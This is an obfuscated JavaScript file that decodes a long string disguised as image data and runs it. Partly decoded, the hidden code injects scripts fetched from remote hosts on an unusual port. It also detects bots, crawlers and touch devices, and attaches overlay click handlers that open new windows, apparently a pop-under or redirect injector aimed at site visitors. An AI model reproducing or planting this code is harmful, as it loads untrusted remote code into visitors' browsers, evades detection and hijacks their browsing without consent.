!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();